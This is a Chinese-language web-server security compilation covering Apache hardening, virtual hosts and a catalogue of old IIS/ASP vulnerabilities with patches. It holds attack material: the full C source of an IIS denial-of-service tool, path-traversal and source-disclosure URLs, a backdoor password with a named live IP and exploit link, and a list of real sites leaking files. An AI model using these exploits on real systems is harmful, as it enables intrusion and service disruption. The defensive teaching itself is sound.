攻击者利用程序编写的一些缺陷，使程序偏离正常的流程。程序使用静态分配的内存保存请求数据，攻击者就可以发送一个超长请求使缓冲区溢出。比如一些Perl编写的处理用户请求的网关脚本。一旦缓冲区溢出，攻击者可以执行其恶意指令或者使系统宕机。

被攻击者获得root权限

Apache一般以root权限运行(父进程)，攻击者通过它获得root权限，进而控制整个系统。

获得最新的Apache

使用最安全版本对于加强Apache Web服务器的安全是至关重要的。

你可以从Apache的官方网站http://www.apache.org获得Apache的最新版本。

配置文件的保护

Apache Web服务器有三个主要的配置文件，它们一般位于/usr/local/apache/conf目录。这三个文件是：httpd.con、srm.conf和access.conf。这些文件是整个Apache的控制中心，因此需要对三个配置文件有所了解。httpd.conf文件是主配置文件；srm.conf允许你填加资源文件；access.conf设置文件的访问权限。这些文件的配置可以参考http://httpd.apache.org/docs/mod/core.html

服务器访问控制

access.conf文件包含一些指令控制允许什么用户访问Apache目录。应该把deny from all作为初始化指令，然后使用allow from指令打开访问权限。你可以允许来自某个域、IP地址或者IP段的访问。例如：

order deny,allow
deny from all
allow from sans.org

密码保护

使用.htaccess文件，可以把某个目录的访问权限赋予某个用户。系统管理员需要在httpd.conf或者srm.conf文件中使用AccessFileName指令打开目录的访问控制。以下是一个.htaccess示例文件：

AuthName PrivateFiles
AuthType Basic
AuthUserFile /path/to/httpd/users
require foo <---一个有效的用户名

然后，使用如下命令填加一个用户：

# htpasswd -c /path/to/httpd/users foo

Apache日志文件

系统管理员可以使用日志格式指令来控制日志文件的信息。使用LogFormat "%a %l"指令，可以把发出HTTP请求浏览器的IP地址和主机名记录到日志文件。出于安全的考虑，你至少应该那些验证失败的WEB用户，在http.conf文件中加入LogFormat "%401u"指令可以实现这个目的。这个指令还有其它的许多参数，用户可以参考Apache的文档。另外，Apache的错误日志文件对于系统管理员来说也是非常重要的，错误日志文件中包括服务器的启动、停止以及CGI执行失败等信息。

安全相关的指令

在Apache配置文件中，有一些安全相关的指令可以使用。这些指令的详细用法可以参考http://httpd.apache.org/docs/mod/directives.html。

使用以下指令可以帮助你减小拒绝服务的威胁：

LimitRequestbody: 数字参数，控制HTTP请求的大小。
LimitRequestFields: 数字参数，控制请求头的数目。
KeepAlive: 设置连接的生存期。
KeepAliveTimeout: 限制等待请求的时间。

使用以下指令可以帮助你叫嚣缓冲区溢出的危险：

LimitRequestFieldSize: 限制每个请求头的大小。
LimitRequestLine: 限制每个请求行的大小。

CGI(ommon Gateway Interface,通用网关接口)的安全威胁

CGI的安全性非常重要，攻击者可以利用CGI的缺陷获得系统信息、执行系统命令、占用系统资源。如果一个CGI程序使用静态分配的内存，就可能为缓冲区溢出攻击提供机会。为了减少这种风险，程序员应该在CGI代码中使用动态分配内存。除了CGI编写人员应该注意外，系统管理员可以采取对CGI进行封装(例如：suEXEC或者CGI Wrap)的办法加强CGI的安全性。通过这种方式可以使CGI程序以某个独立的用户权限运行，即使发生缓冲区溢出，也只影响那个用户的目录/文件。

perl是一种功能非常强大的脚本语言。主要用于文本的处理，程序员还可以通过perl脚本使用系统调用。如果程序编写的不好，就会为攻击者闯入服务器大开方便之门。因此，使用perl脚本一定要小心，以免出现此类漏洞。在perl脚本中，处理请求数据之前，最好能够调用专门的检查例程对输入的合法性进行检查。除此之外，还要确保Apache不是以root的权限运行的，Perl脚本被限制在某个特定的目录下运行。

SSI(Server-Side Includes)的安全

使用SSI，程序员可以建立一些常用的例程，在需要时把这些例程包含进他们的代码中。SSI还允许有条件地执行外部程序，攻击者可能利用这个条件让服务器执行他们的恶意程序。在access.conf文件中使用IncludesNoEXEC指令，可以关闭执行SSI文件的功能。不过这条指令会造成服务器不执行CGI脚本或者程序。

其它安全工具

使用TCP Wrappers和Tripwire可以为你的系统提供额外的保护。你可以使用TCP Wrappers来控制Telnet或者FTP的访问权限。Tripwire是一个数据完整性检测工具，可以帮助系统管理员监视系统是否被改动过，你可以在Tripwire的配置文件中编制特定的策略，监视Web服务器的配置文件、数据和CGI文件是否被修改。

总结

Apache是一个优秀的歪脖服务器，虽然Apache的开发者非常注重其安全性，但是由于Apache非常庞大，难免会存在安全隐患。Apache的安装维护中需要注意以下问题：

检查文件和目录的权限是否恰当。

httpd.conf、srm.conf和access.conf的设置是否适当

使服务器日志文件能够记录尽可能详细的信息。

对某些需要特别保护的目录使用密码保护(.htaccess)。

对CGI脚本或者程序进行封装。

如果CGI使用Perl编写，要详细检查其安全性

检查SSI指令

使用TCP Wrappers和Tripwire。


APACHE做虚拟服务器

多域名单IP的:

1. 首先要解决域名的问题,你可以用nslookup <你的域名>
看看该域名是不是指向了你IP, *.yeah.net本来就是
做的虚拟主机, 所以解析出来都是指向www.yeah.net
(202.96.152.198), 通常情况下, apache启动时会
检查你用作虚拟主机的域名.
2. 改httpd.conf, 加<virtualhost> 例如:
<VirtualHost I007.com> (写IP也可以)
ServerAdmin I007@263.net
DocumentRoot /home/I007/public_html
ServerName I007.com (这里只能写域名)
</VirtualHost>

多IP的:
1. 最好每个IP还是能对应一个域名
2. 加载ip_alias模块 (/sbin/insmod ip_alias)
3. 加IP (/sbin/ifconfig eth?:? ???.???.???.???)
4. 改httpd.conf, 和上面差不多

可以看出, 两者可以共存,以上均做过实验, 没有问题..


ASP网络安全手册（二）

8、ASP聊天室程序的漏洞

问题描述：

如果聊天室ASP程序设计不当，很容易会给他人利用来做坏事:可以踢人，穿墙，捣乱.
首先，我们看看聊天室里有什么漏洞，大家看看下面这段代码：

<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST" target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="测试者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>发言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="发 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
对象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();documen
t.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="测试者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
以上这段代码是我在某个聊天室用"测试者"作代号登陆后在发言帧当下来的， 这只是一小部份，但在这一小部份代码里面就有两个漏洞。

第一个漏洞
大家看看上面的代码加上"*"号的那两句，其中第一句中的"测试者"就是我登陆的名字，还有，第二句中的"boy"是登陆时的性别，还有再看看下面我加上"!" 号的两句，第一句里还是有我登陆时的名字，这几句都是我现在想说的两个漏洞所在点。如果想在这个聊天室里穿墙的话，只要把发言帧的代码当下来另存，把"form"的"action"改成聊天室的地址，然后把再"*"号的第一句的"测试者"两字改成想要的名字就可以了。也可以变换性别，只要把第二句的 "boy"改成"girl"。这就是所谓的穿墙术了。你甚至可以把它改成在线人的名字，然后发言，这样就冒充别人的姓名谈话。

第二个漏洞
踢人的漏洞就是这个了，我们看一下带"!"号的第一句，上面有是合法用户登陆的名字，再看第二句，他有"getout"，再加上上面还有一段"form"标签，这段就是我们退出聊天室时的代码，这个有什么用呢？我们先试试看，首先还是把"form"标签的"action"改成 聊天室的地址，不然就不知道提交给哪个家伙了。然后把"风风"改成你想踢下去的人的名字然后单击"退出"，那就把那个人踢出聊天室了。这个就是聊天室踢人的漏洞。
这两个漏洞主要的原因是这两个漏洞使服务程序不识别客户发出的指令是不是合法用户。 以上两漏骗服务程序来更名发出发言，或更名退出，使得真正的使用者受害。
当然上面的程序中还有一个漏洞，输入框没有对HTML语句和JAVASCRIPT语句做过滤。这个问题我们在漏洞5中已有详细分析，这里就不谈了。

问题解决或者建议：

在程序设计中让服务程序能识别到底是哪个家伙发出的指令就可以了，具体做法可以为每个聊天者发一个识别码，象五笔字一样，也可以用每个聊天者的密码识别，也可以把聊天者的密码随机加密后用作识别等等 ，反正能使你的服务程序识别到底是谁发出的指令就可以了。

9、NT iss4.0_AuthChangeUrl? 漏洞

问题描述：

在NT iis4.0，当输入如下命令时
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好
你看到发生了什么吗？
我们再来看看以下的命令：
http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令将显示c:根目录下的1.jpg图片，如果1.jpg存在的话。
http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>
上面的命令将下载C:根目录下的install.exe文件。
按照这种方法还能打开对方服务器上一个已经知道的文本文件。

10、微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站

问题描述：

随IIS和Frontpage Extention server而来的动态库程序，存在后门，允许用户远程读取asp、asa和CGI程序的源代码。但这个动态库要求有密码，这个后门的密码是： "Netscape engineers are weenies!"
程序路径为： /_vti_bin/_vti_aut/dvwssr.dll
一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序，有趣的是，这个密码正是嘲弄其竞争对手Netscape的。
现提供一个有该漏洞的国外网站给安全技术人员参考：
http://62.236.90.195
关于读取源程序，请下载这个测试程序，用法为:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
测试程序： http://www.cnns.net/exploits/nt/dvwssr1.pl

11、漏洞名称：IIS4.0受HTTP的D.O.S攻击漏洞

问题描述：

受影响的版本：IIS 4.0以及更早的版本
这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到IIS：

GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

发送了象上面所写的两次请求后，对方的IIS在接受了这些请求后就会导致内存溢出.当然，它就不能对更多的请求作出反应。因为对方正缺乏虚拟内存，服务器也将停止运行。事后，对方不能通过重起web service来解决问题，而必须重启服务器。

12 漏洞名称：IIS5.0超长URL拒绝服务漏洞

问题描述：

Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时，它会有两种结果。一个可能的结果是服务器回复"URL String too long"的信息；或类似"Cannot find the specified path" 的信息。另一种可能就是服务器端服务停止，并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击)
当远端攻击者发出类似如下的请求时：
http://someurl/...[25kb of '.']...ida
服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)

问题解决或者建议：

大多数情况下，站点很少使用扩展名为".ida"和".idq"的文件，可在ISAPI脚本映射中，将扩展名为".ida"和".idq"的应用程序映射删除。

13 请求不存在的扩展名为idq或ida 文件，会暴露服务器上得物理地址

问题描述：

通过请求一个不存在的扩展名为idq或ida得文件，IIS会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息，而且，这对攻击一个Web站点来说，是很有价值的第一步。

测试程序：

通过请求如：
http://someurl/anything.ida
http://someurl/lunwen/anything.ida
或:
http://someurl/anything.idq
一个远端用户可以收到类似：'The IDQ d:\http\anything.idq could not be found'的响应。
这样的一个响应就会让攻击者获得了Web站点的物理路径，并且还可以获得更多的有关该站点在服务器上的组织与结构。

14、NT Index Server存在返回上级目录的漏洞

问题描述

受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附带的一个软件的工具,其中的功能已经被WinNT 2000中的Indexing Services所包含。当与IIS结合使用时,Index Server和Indexing Services便可以在最初的环境来浏览Web Search的结果,它将生成一个HTML文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由webhits.dll ISAPI程序处理的.htw文件类型。这个dll允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。

漏洞的利用:

1)您的系统中存在.htw文件
Index Server提供的这种超级连接允许Web用户获得一个关于他搜寻结果的返回页,这个页面的名字是与CiWebHitsFile变量一起通过.htw文件的,webhits.dll这个ISAPI程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw文件的CiWebHits变量,请求到任何所希望获得的信息。另外存在的一个问题便是ASP或其他脚本文件的源代码也可以利用该方法来获得。
上面我们说过webhits.dll后接上"../"便可以访问到Web虚拟目录外的文件,下面我们来看个例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件.
在系统常见的.htw样本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [这个文件通常受loopback限制]

2)您的系统中不存在.htw文件
调用一个webhits.dll ISAPI程序需要通过.htw文件来完成,如果您的系统中不存在.htw文件,虽然请求一个不存在的.htw文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件。但我们需要通过制作一个的特殊的URL来完成该漏洞的利用。首先我们需要一个有效的文件资源,这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被webhits.dll打开。现在我们需要获得inetinfo.exe来利用webhits.dll,唯一可以做到这点的便是请求一个.htw文件:

http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full

很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw前面]加上一串特殊的数字( %20s ),[就是在例子中default.htm后面加上这个代表空格的特殊数字],这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉[由于%20s这个符号],所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。

问题解决和建议：

微软已经对该问题发放了补丁:

Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726

15 绕过验证直接进入ASP页面

漏洞描述：

如果用户知道了一个ASP页面的路径和文件名，而这个文件又是要经过验证才能进去的，但是用户直接输入这个ASP页面的文件名，就有可能通过绕过验证.比如：我在一些网站上这样试过：首先关闭所有的浏览器，窗口，输入：
http://someurl/system_search.asp?page=1
就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断，比如：判断session("system_name"),如果不为空时就能进入，这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞，如果攻击者先用一个合法的帐号，或者在本机上生成一个session,如session("system_name")="admi"，那因为session("system_name")不为空，这样也能直接进入绕过密码，直接进入管理员页面。

解决方法：

在需要验证的ASP页面开头处进行相应的处理。比如：可跟踪上一个页面的文件名，只有从上一页面转进来的会话才能读取这个页面。

16、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击

漏洞描述:

当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web 服务器的响应速度,或许会使其暂时停止响应。

受影响的版本

Microsoft Internet Information Server 4.0
Microsoft Internet Information Server 5.0

漏洞测试程序如下：

http://202.96.168.51/download/exploits/iisdos.exe
源代码如下：
http://202.96.168.51/download/exploits/iisdos.zip
测试程序：
只要打入:iisdos <***.***.**.**> 就能攻击对方web 服务器

问题解决：

Internet Information Server 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
Internet Information Server 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft 安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相关连接
http://www.ussrback.com

17 IIS web server DOS

漏洞描述：

默认情况下，IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建，针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes)，则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制，因此，利用下面的程序。可以很容易地对IIS server实行DOS攻击：

#include
    <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For
    my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter
    = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void
    cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;{
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

攻击结果将导致NT系统的CPU占用率达到 100%

解决方案

运行Regedt32.exe
在：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值：
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制
具体数值设置为你想设定的IIS允许接受的URL最大长度。


ASP网络安全手册（三）

18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击

漏洞描述:

Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接，可能导致服务停止。

影响系统:

ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

漏洞检测方法如下:

ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb

ASP代码如下:

<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"

%>

<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>

<!-- Call the same database by means of
    DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>

在这种情况下，IIS处理进程将会停顿，CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。

19、ASP主页.inc文件泄露问题

漏洞描述：

受影响的版本:任何提供ASP服务的系统
远程:YES / 本地:YES

内容摘要:

当存在asp的主页正在制作并没有进行最后调试完成以前，可以被某些搜索引擎机动追加为搜索对象，如果这时候有人利用搜索引擎对这些网页进行查找，会得到有关文件的定位，并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是：

- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ，" 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码，其中可能会有某些敏感信息

漏洞的利用:

例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑

解决方案:

- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看到它们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正，首先对 .inc 文件内容进行加密，其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的，尽量使用无规则的英文字母。

20、利用Activer server explorer可对文件进行读写访问

漏洞描述：

chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件，如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。
Activer server explorer要求填写相对路径或者绝对路径，但是假如：有一个攻击者把Activer server explorer上传到目标服务器上的某个目录，并且这个目录支持ASP的话，那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号，并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器，把Activer server explorer先传上你申请的免费主页空间，再通过各种方法得到目标服务器的路径，(比如可通过漏洞："请求不存在的扩展名为idq或ida 文件，会暴露文件在服务器上的物理地址.").或者直接在相对路径上填"."，一般是默认。这样攻击者就能任意修改，执行目标服务器上的文件，不管他对这个文件有无读写访问权。
所以那些提供有ASP服务的个人主页或者其它服务的服务器，就要加倍小心这种攻击了。

漏洞解决方法

其实Activer server explorer就是利用了上面讲的漏洞　4　filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。
那么我们如何才能限制用户使用FileSystemObject对象呢？一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件，也就是Scrrun.dll。具体的方法如下：

    在ＭＳ－ＤＯＳ状态下面键入：

Regsvr32 /u c:\windows\system\scrrun.dll

（注意：在实际操作的时候要更改成为你本地的实际路径）

    但是这样的话，就不能使用FileSystemObject对象了，有时利用FileSystemObject对象来管理文件是很方便，有什么办法能两全其美呢？

我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中

     HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值

    将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为

     HKEY_CLASSES_ROOT\Scripting.FileSystemObject2

    这样,在ASP就必须这样引用这个对象了:

     Set fso = CreateObject("Scripting.FileSystemObject2")

    而不能使用:

     Set fso = CreateObject("Scripting.FileSystemObject")

    如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。

    只要你不告诉别人这个更改过的对象名称，其他人是无法使用FileSystemObject对象的。这样，作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象，而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了！

21 IIS4.0/IIS5.0超长文件名请求存在漏洞

漏洞描述：

受影响的版本:

Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0

当在一个已知的文件名后加230个"%20"再加个.htr，会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如：

http://target/filename%20<重复230次>.htr

这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存，才能起作用。

解决方法：

安装补丁

Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE

Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe

22　ASP编辑器会自动备份asp文件，会被下载的漏洞

漏洞描述：

    在有些编辑asp程序的工具，当创建或者修改一个asp文件时，编辑器自动创建一个备份文件，比如：UltraEdit就会备份一个..bak文件，如你创建或者修改了some.asp，编辑器自动生成一个叫some.asp.bak文件，如果你没有删除这个bak文件，攻击有可以直接下载some.asp.bak文件，这样some.asp的源程序就会给下载。


ASP网络安全手册（四）

六 ASP安全建议

如何设置才能使ASP更加安全呢？以下我们重点来谈谈ASP安全方面要注意的问题。我们在第五部分"ASP漏洞和解决方法"中针对某些漏洞，也提出了相应的安全建议，这部分就不再重复。
    在这部分的后面还要介绍些可扫描ASP漏洞的工具。

1 安装NT最新的补丁

目前最新的补丁是NT Option Pack 6.0.，微软的主页有最新的补丁。一般来说微软都会及时的公布最新的漏洞和补丁。目前IIS最新是5.0。windows2000自带IIS5.0.
IIS 5.0新功能如下：
安全性上：包括摘要式验证、整合的Windows验证、SGC (Server-Gated Cryptography ) 、Microsoft Certificate Services 2.0、集区处理程序之程序保护等。
管理上：包括IIS重新激活、站台CPU使用时间的限制、CPU资源使用记录、使用终端机服务远程管理IIS、自订错误讯息等。
Internet标准上：包括WebDAV(Web Distributed Authoring and Versioning)、FTP重新激活、HTTP压缩等。

Active Server Pages：包括新的转向方法(Server.Transfer与Server.Execute方法)、新的错误处理功能(Server.GetLastError方法)、无指令.asp的执行速度增快、可安装组件的效能调升、Scriptlet支持、使用cookie取得浏览器信息、自动增减执行绪(executing threads)、SRC服务器端包含功能、Script Encoder编码保护等。
更具体的功能介绍请参见其它资料。

2 关闭没有用的服务和协议

"尽量少开没用到的服务"，这永远是网络安全的准则。如果开启了某个服务，你就要面对不少的漏洞困扰，更重要的是你还要时时提防未来的由这个服务所引起的漏洞。
比如，你不使用ftp,那就把FTP关了，不然你就要发费大量的精力和金钱去应付那些什么DOS，缓冲区溢出之类的漏洞。NETBIOS也是windows的一大安全隐患，我想目前服务器很少需要Netbios。再如你的IIS安装了index server 服务，那你至少要面对三个以上的有关这个服务的漏洞，因此如果你没用到INDEX　SERVER服务，也大可删除他.
同样的道理，我们要安装最少的协议。千万不要安装点对点通道通讯协议。此外，还必须小心地配置TCP/IP协议。在TCP/IP的属性页中选择"IP地址"项目，然后选择"高级"。在弹出来的对话框中选择"安全机制"，这样你可以禁止UDP，然后开启IP端口6和TCP端口80。当然开不开这些端口主要是看你的情况了。
IIS中的应用程序映射也是个很大的安全漏洞，请在IIS中设置好扩展名和可执行路径，删除没用的扩展名。

3 设置好你的NT

NT缺省安装时，系统账号Administrator和Guest被自动设置，很多攻击者就是利用这些账号来猜密码，从而进入你的系统。虽然没有足够的耐心，很难猜中这些密码，但是为了安全起见，建议把这些账号重新命名或者删除。
NT　SERVER的系统策略编辑器非常有用。按"管理工具"－＞"系统策略编辑器"就可以进入，然后选择"文件"－＞"打开注册表"，并选择"本地计算机"图标，就可以认真配置了。主要设置以下几项：

1． 取消：网络－＞系统规则更新－＞远程更新
2． 取消：WINDOWS　NT网络－＞共享－＞创建隐藏的驱动器共享
3． 设置：Windows NT远程访问下面的各项
4． 设置：Windows NT系统->登录中各个项目。包括设置登录标记;不允许从"身份验证对话框"关机;不显示上次登录的用户名.
5． 设置：WINDOWS NT系统->文件系统中的"不为长文件名创建8.3文件名"

